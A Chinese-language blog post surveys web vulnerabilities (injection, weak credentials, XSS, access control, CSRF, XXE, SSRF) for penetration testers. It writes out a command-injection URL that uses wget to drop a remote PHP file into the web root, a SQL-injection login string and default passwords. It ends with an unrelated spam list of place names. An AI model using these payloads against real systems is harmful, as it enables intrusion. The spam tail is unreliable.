qileilove

          blog已經(jīng)轉(zhuǎn)移至github,大家請訪問 http://qaseven.github.io/

          滲透測試必知必會—Web漏洞

            0x00前言
            本文為對WEB漏洞研究系列的開篇,日后會針對這些漏洞一一研究,敬請期待
            0x01 目錄
            0x00 前言
            0x01 目錄
            0x02 OWASP TOP10 簡單介紹
            0x03 烏云TOP 10 簡單介紹
            0x04 非主流的WEB漏洞
            0x02 OWASP TOP10 簡單介紹
            除了OWASP的TOP10,Web安全漏洞還有很多很多,在做測試和加固系統(tǒng)時也不能老盯著TOP10,實際上是TOP10中的那少數(shù)幾個
            直接說2013的:
            A1: 注入,包括SQL注入、OS注入、LDAP注入。SQL注入最常見,wooyun.org || http://packetstormsecurity.com 搜SQL注入有非常多的案例,由于現(xiàn)在自動化工具非常多,通常都是找到注入點后直接交給以sqlmap為代表的工具
            命令注入相對來說出現(xiàn)得較少,形式可以是:
            https://1XX.202.234.22/debug/list_logfile.php?action=restartservice&bash=;wget -O /Isc/third-party/httpd/htdocs/index_bak.php http://xxphp.txt;
            也可以查看案例:極路由云插件安裝shell命令注入漏洞 ,未對用戶輸入做任何校驗,因此在web端ssh密碼填寫處輸入一條命令`dropbear`便得到了執(zhí)行
            直接搜索LDAP注入案例,簡單嘗試下并沒有找到,關(guān)于LDAP注入的相關(guān)知識可以參考我整理的LDAP注入與防御解析。雖然沒有搜到LDAP注入的案例,但是重要的LDAP信息 泄露還是挺多的,截至目前,烏云上搜關(guān)鍵詞LDAP有81條記錄。
            PHP對象注入:偶然看到有PHP對象注入這種漏洞,OWASP上對其的解釋為:依賴于上下文的應(yīng)用層漏洞,可以讓攻擊者實施多種惡意攻擊,如代碼注入、SQL注入、路徑遍歷及拒絕服務(wù)。實現(xiàn)對象注入的條件為:1) 應(yīng)用程序必須有一個實現(xiàn)PHP魔術(shù)方法(如 __wakeup或 __destruct)的類用于執(zhí)行惡意攻擊,或開始一個"POP chain";2) 攻擊中用到的類在有漏洞的unserialize()被調(diào)用時必須已被聲明,或者自動加載的對象必須被這些類支持。PHP對象注入的案例及文章可以參考WordPress < 3.6.1 PHP 對象注入漏洞。
            在查找資料時,看到了PHP 依賴注入,原本以為是和安全相關(guān)的,結(jié)果發(fā)現(xiàn):依賴注入是對于要求更易維護(hù),更易測試,更加模塊化的代碼的解決方案。果然不同的視角,對同一個詞的理解相差挺多的。
            A2: 失效的身份認(rèn)證及會話管理,乍看身份認(rèn)證覺得是和輸入密碼有關(guān)的,實際上還有會話id泄露等情況,注意力集中在口令安全上:
            案例1:空口令
            烏云:國內(nèi)cisco系列交換機(jī)空密碼登入大集合
            烏云:UC某服務(wù)器可空口令訪問數(shù)據(jù)庫
            案例2:弱口令
            烏云:盛大某站后臺存在簡單弱口令可登錄  admin/admin
            烏云:電信某省客服系統(tǒng)弱口令泄漏各種信息 .../123456
            烏云:中國建筑股份有限公司OA系統(tǒng)tomcat弱口令導(dǎo)致淪陷  tomcat/tomcat
            案例3:萬能密碼
            烏云:移動號碼上戶系統(tǒng)存在過濾不嚴(yán)  admin'OR'a'='a/admin'OR'a'='a (實際上仍屬于SQL注入)
            弱口令案例實在不一而足
            在烏云一些弱口令如下:其中出鏡次數(shù)最高的是:admin/admin, admin/123456
          如果要繼續(xù)深究下去或者取得更多數(shù)據(jù)進(jìn)行分析的話,結(jié)局就會如豬豬俠總結(jié)的那樣:
            當(dāng)然會話存在的安全問題也是需要考慮的,可以是令牌、token被竊取,尤其當(dāng)會話沒有設(shè)置生命周期時很容易出現(xiàn)會話/身份被劫持
            會話管理問題可以是用戶A登陸了某個地址,但是沒有注銷(奇葩情況是注銷無效),直接退出了瀏覽器又沒有清除cookie,如果說這時候有B借用A的電腦,他直接以A的身份登陸該地址是沒有問題的,這不是服務(wù)端的問題。但假設(shè)之后A都沒有訪問改地址,而是把電腦合上待機(jī)了,第二天如果B借用他的電腦直接登陸了該地址,則責(zé)任在于服務(wù)端的會話管理不當(dāng),沒有設(shè)置超時時間。除此之外,還有會話重放、會話信息泄露等問題。說到會話信息泄露,不禁想起將sessionid放在URL中的情形,鄙人暫未遇到直接利用這個可以竊取會話的,但不排除其可能
            A3: 跨站腳本(XSS),最普遍的漏洞,曾被認(rèn)為是雞肋漏洞,事實證明有時候危害很大的,竊取cookie,構(gòu)造蠕蟲不一而足。XSS的技術(shù)體現(xiàn)在Javascript功底上,現(xiàn)在很多網(wǎng)站都有針對XSS的過濾器,J2EE可以使用全局過濾器,但是過濾器基本都是使用黑名單設(shè)防,是有可能繞過的,回應(yīng)了技術(shù)體現(xiàn)在Javascript功底上。跨站腳本還有flash類型的,由于相比之下出現(xiàn)得比較少,瀏覽器和過濾器的防御精力不在這上面,如果出現(xiàn)可能更容易成功。值得一提的是,對于XSS,現(xiàn)在的掃描工具都會將其標(biāo)識為高危漏洞,實際上掃描器根據(jù)返回的響應(yīng)中是否有加入的載荷來判斷跨站腳本漏洞存在的可能性,誤報率會比較高。還有就是常規(guī)掃描器只能識別反射型XSS,反射型XSS本身危害是比較小的,存儲型XSS危害才大(危害大小看具體情況)。反射型XSS現(xiàn)在常規(guī)payload要想過IE10、IE11或chrome還是有難度的,因此XSS技術(shù)的另一個體現(xiàn)方面即是對瀏覽器特性的了解。至于存儲型XSS,則要看具體業(yè)務(wù)和數(shù)據(jù)是否會受影響,用戶交互程度越高,利用難度就越大,如果能彈框證實漏洞存在,但很難被觸發(fā)或者就算竊取到cookie也無法登陸,很難說明是高風(fēng)險安全問題,但還是有修復(fù)和改進(jìn)的必要。
            A4: 不安全的直接對象引用,訪問控制不當(dāng)?shù)膯栴},常見為越權(quán)操作(橫向+縱向),譬如:遍歷用戶id批量獲取用戶信息、在HTTP請求中篡改某個參數(shù)的值就變成了其他身份進(jìn)行的操作,最激動人心的是可以進(jìn)行刷錢等操作。越權(quán)問題并不高深,相比SQL注入和XSS技術(shù)難度還要低一點,因為通常只要改參數(shù)值就可以了(一般來說)。防止此類問題的做法很簡單,當(dāng)用戶需要訪問某資源或進(jìn)行操作時,服務(wù)器端取出來訪用戶的session值,判斷是否具有訪問或操作權(quán)限。
            在訪問控制操作中,我們可以設(shè)定某一資源或文件A可以訪問、B不能訪問,但是當(dāng)對應(yīng)的用戶多起來時也會遇到麻煩。也可以為用戶訪問資源或文件標(biāo)志一個權(quán)限,作為一個會話屬性,屬于自己的才可以操作或訪問,具體情況具體討論。
            案例1:水平越權(quán)
            烏云:虎撲某功能存在水平越權(quán)
            案例2: 垂直越權(quán)
            烏云:中國電信某系統(tǒng)管理員WEB界面越權(quán)訪問
            A5-A7\A9: 安全配置錯誤\敏感數(shù)據(jù)泄露\功能級訪問控制缺失\使用含已知漏洞的組件=>運維不當(dāng),直接看運維不當(dāng)?shù)?/a>
            知乎專欄:運維安全(...)
            烏云知識庫:從烏云看運維安全那點事兒
            引用一下知識庫的內(nèi)容,問題有:
            struts漏洞
            Web服務(wù)器未及時打補(bǔ)丁,有解析漏洞
            PHP-CGI RCE
            FCK編輯器
            server-status信息泄露
            網(wǎng)站備份文件放在web目錄,可被下載
            列目錄導(dǎo)致可看到敏感數(shù)據(jù)并查看
            snmp信息泄露
            weblogic弱口令
            SVN信息泄露
            域傳送漏洞
            Rsync
            hadoop對外
            nagios信息泄露
            ftp弱口令或支持匿名訪問導(dǎo)致信息泄露
            RTX泄露信息
            Ganglia信息泄露
            j2ee應(yīng)用架構(gòu)開始占主流,典型的web服務(wù)器搭配配置失誤
            Jenkins平臺沒有設(shè)置登錄驗證
            zabbix
            zenoss監(jiān)控系統(tǒng)
            Resin文件讀取
            memcache未限制訪問IP
            JBoss問題
            測試服務(wù)器外網(wǎng)可訪問
            padding oracle attack
            用戶名密碼放在服務(wù)器上……
            A8: 跨站請求偽造(CSRF)
            CSRF曾被稱為沉睡的巨人,以前拿來舉例時都是說Alice給Bob轉(zhuǎn)錢,結(jié)果morry插了一腳,錢就跑到morry家去了。危害可大可小,直接通過URL增刪改操作的也還有,更多的還是基于表單。如果是XSS+CSRF =>蠕蟲 就比較可觀了,也曾看到過直接get root的案例
          案例:萬達(dá)電影主站 xss + csrf
            A10: 無效的重定向
            控制重定向可以釣魚,可以獲取敏感文件的信息,在struts2中也有開放重定向的命令執(zhí)行
            0x03 烏云TOP 10 簡單介紹
            上述就是OWASP TOP10的WEB漏洞,烏云出了一個更加符合中國國情的 烏云:Top10 for 2014,看著也是觸目驚心
            A1-互聯(lián)網(wǎng)泄密事件/撞庫攻擊
            本質(zhì)上來說是使用了不安全的口令,也許我可以將自己的密碼設(shè)置的很復(fù)雜,別人破解不出來。但對于撞庫攻擊而言,可以說是不怕神一樣的對手,就怕豬一樣的隊友。我們注冊使用的網(wǎng)站或服務(wù)商他們保存了我們使用的密碼,而很多時候被泄露出去了我們并不知道。這也是考驗我們密碼習(xí)慣的時候了,強(qiáng)密碼+不同的密碼,當(dāng)然密碼多了也難以記住,不行就借助軟件或者普通賬號用同一個密碼,重要賬號用不同密碼吧
            A2-引用不安全的第三方應(yīng)用
            舉的例子是heart bleed漏洞使用的openssl,另外struts2的漏洞也還數(shù)見不鮮,其次就是CMS如wordpress使用的插件,當(dāng)然shellshock也會有很多中槍的
            A3-系統(tǒng)錯誤/邏輯缺陷帶來的暴力猜解
            暴力破解:沒對請求和錯誤次數(shù)做限制;重放攻擊同樣是沒做檢驗或限制
            A4-敏感信息/配置信息泄露
            包括但不限于目錄遍歷、日志、配置文件、svn目錄、github或其他博客等地方
            A5-應(yīng)用錯誤配置/默認(rèn)配置
            包括但不限于默認(rèn)路徑、默認(rèn)口令、目錄穿越、任意文件下載等
            A6-SQL注入漏洞
            A7-XSS跨站腳本攻擊/CSRF
            A8-未授權(quán)訪問/權(quán)限繞過
            可匿名訪問\判斷referer值后免登陸
            A9-賬戶體系控制不嚴(yán)/越權(quán)操作
            A10-內(nèi)部重要資料/文檔外泄
            還是信息泄露,但是做了區(qū)分,不同于應(yīng)用或服務(wù)器的信息泄露,專指內(nèi)部信息泄露喲
            0x04 非主流的WEB漏洞
            實際上,如果要挖漏洞或者做測試,從烏云上找案例會比較方便,除了常見的幾類代碼層面的問題,更多的是配置不當(dāng)方面的,最終歸結(jié)到信息安全鏈上最脆弱的還是人本身
            除了上面提到的這些,其實還有很多的漏洞啊,跟設(shè)備有關(guān)系的就先不說了,再提一下兩個看起來不錯的:XXE、SSRF(or XSPA)
            XXE:XML外部實體注入,不僅僅是敏感信息泄露,騰訊安全中心:XXE漏洞攻防
            案例:
            1. 烏云:百度某功能XML實體注入
            2. 烏云:139郵箱XXE漏洞可讀取文件
            3. 烏云:從開源中國的某XXE漏洞到主站shell
            SSRF(服務(wù)端請求偽造): 據(jù)說用這招可以成功多次進(jìn)入阿里、騰訊、百度等的內(nèi)網(wǎng),沒爆出來的估計很多被用作殺器了
            案例:
            1. 烏云:百度貼吧SSRF
            2. 烏云:新浪SSRF
            3. 烏云:阿里巴巴SSRF
            上面幾個案例有的是分享功能,有的是其他功能,共同點在于都是跟的url參數(shù),且沒做限制,導(dǎo)致內(nèi)網(wǎng)信息泄露
            (未完...)

          posted on 2014-12-22 23:42 順其自然EVO 閱讀(1400) 評論(0)  編輯  收藏 所屬分類: 測試學(xué)習(xí)專欄安全性測試

          <2014年12月>
          30123456
          78910111213
          14151617181920
          21222324252627
          28293031123
          45678910

          導(dǎo)航

          統(tǒng)計

          常用鏈接

          留言簿(55)

          隨筆分類

          隨筆檔案

          文章分類

          文章檔案

          搜索

          最新評論

          閱讀排行榜

          評論排行榜

          主站蜘蛛池模板: 惠东县| 昌图县| 泰宁县| 平泉县| 宁陵县| 阳春市| 于都县| 恩施市| 靖边县| 南皮县| 南康市| 义乌市| 吴川市| 安阳县| 建阳市| 九台市| 鄂伦春自治旗| 大城县| 孝义市| 崇信县| 和平县| 九台市| 天长市| 阿图什市| 大足县| 铅山县| 时尚| 百色市| 迁西县| 屯昌县| 汾西县| 巫山县| 彩票| 长宁区| 汉源县| 丹凤县| 平陆县| 固阳县| 鸡西市| 浙江省| 延吉市|